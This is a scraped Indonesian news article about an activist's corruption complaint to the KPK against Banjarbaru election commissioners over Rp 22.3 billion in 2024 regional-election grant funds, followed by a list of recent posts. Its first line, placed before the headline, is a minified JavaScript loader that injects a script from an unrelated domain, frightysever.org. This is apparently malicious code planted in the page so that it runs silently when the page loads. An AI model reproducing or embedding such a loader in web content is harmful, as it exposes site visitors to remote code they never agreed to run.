(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Ketua KPU Banjarbaru Dahtiar Cs Dilaporkan ke KPK


KANALKALIMANTAN.COM, BANJARBARU – Komisioner KPU Banjarbaru dilaporkan atas dugaan korupsi pada Pemilihan Kepala Daerah (Pilkada) Serentak 2024 kepada Komisi Pemberantasan Korupsi (KPK).

Laporan dilayangkan melalui laman pengaduan KPK RI oleh pegiat demokrasi yang juga Ketua Gerakan Masyarakat Peduli Demokrasi (GMPD) Kota Banjarbaru, Drs Rachmadi.

Laporan ke KPK itu berisi dugaan korupsi penyelenggaraan Pilkada tanggal 27 November 2024 dengan dana hibah dari APBD Pemerintah Kota Banjarbaru senilai Rp 22.304.482.000.

Baca juga: Ini Empat Nama Cadangan PAW Komisioner KPU Banjarbaru


Rachmadi mengatakan laporan tersebut dilayangkan karena Komisioner KPU Kota Banjarbaru yakni Dahtiar (Ketua), Resty Fatma Sari, Normadina, Hereyanto, dan Haris Fadhillah dianggap telah merugikan keuangan negara.

“Pasca putusan dari MK dan DKPP yang memuat bahwa di Banjarbaru tidak ada Pilkada, maka tentunya penggunaan dana hibah itu berpotensi pelanggaran hukum. Untuk itu kami sebagai masyarakat melakukan pelaporan ini ke KPK,” ujar Rachmadi saat dikonfirmasi, Rabu (5/3/2025).

Rachmadi menegaskan bahwa setelah keputusan diskualifikasi salah satu paslon yang kemudian dibahas dalam persidangan MK, Majelis Hakim memutuskan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru tahun 2024 sesungguhnya belum atau tidak terjadi sehingga harus dilaksanakan Pemungutan Suara Ulang (PSU).

Baca juga: PSU Bentuk Ketidakbecusan KPU Jadi Penyelenggara Pemilu!

“Saya sebagai pelapor menganggap komisioner KPU Kota Banjarbaru telah menyalahgunakan kewenangan sebagai penyelenggara Pilkada Kota Banjarbaru,” ungkap dia

“Sehingga atas kesalahan tersebut keuangan daerah dalam hal ini APBD Kota Banjarbaru yang dirugikan senilai Rp 22,3 miliar,” jelasnya.

Sementara itu saat ditelusuri dilaman KPK ternyata laporan tersebut telah teregister dengan nomor A-20250301193 pada tanggal 3 Maret 2025 dengan status aduan diterima.

Baca juga: Judi Berkedok Adu Lari Dini Hari Dekat Rumah Wali Kota

Disisi lain Juru Bicara KPK, Tessa Mahardika Sugiarto saat dikonfirmasi terkait laporan tersebut melalui pesan WhatsApp mengatakan saat ini yang diupdate baru hasil pelaporan dari pelapor saja.

“Secara umum laporan yang masuk akan dilakukan verifikasi, telaah dan pulbaket. Bila ada bahan yang kurang, akan dimintakan kepada pelapor unuk dilengkapi,” ujarnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

16 menit ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

23 menit ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

1 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

2 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

3 jam ago

PLN Bangun Fasilitas MCK di MTs Al Ikhlas Longkali

KANALKALIMANTAN. COM, TANA PASER - Bentuk kepedulian sosial kepada masyarakat, PT PLN (Persero) melalui Unit… Read More

3 jam ago